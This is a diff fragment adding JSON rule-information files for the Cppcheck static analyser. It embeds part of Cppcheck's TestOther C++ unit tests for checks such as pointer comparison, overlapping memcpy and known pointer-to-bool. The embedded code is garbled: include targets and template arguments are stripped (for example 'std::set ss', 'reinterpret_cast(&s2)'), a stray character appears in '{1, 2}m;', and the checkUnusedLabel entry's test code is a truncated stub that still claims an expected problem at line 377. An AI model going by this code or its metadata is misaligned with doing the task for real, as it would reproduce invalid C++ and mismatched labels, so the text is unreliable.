[constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkUnusedLabel.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkUnusedLabel.json new file mode 100644 index 0000000..424af1d --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkUnusedLabel.json @@ -0,0 +1,22 @@ +{ + "name": "checkUnusedLabel", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 18, + "branches": 6, + "apis": 32, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 377 + ], + "code": "check(\"{\\n\n}\");" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkVarFuncNullUB.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkVarFuncNullUB.json new file mode 100644 index 0000000..3013461 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkVarFuncNullUB.json @@ -0,0 +1,22 @@ +{ + "name": "checkVarFuncNullUB", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 34, + "branches": 11, + "apis": 28, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 10922 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n 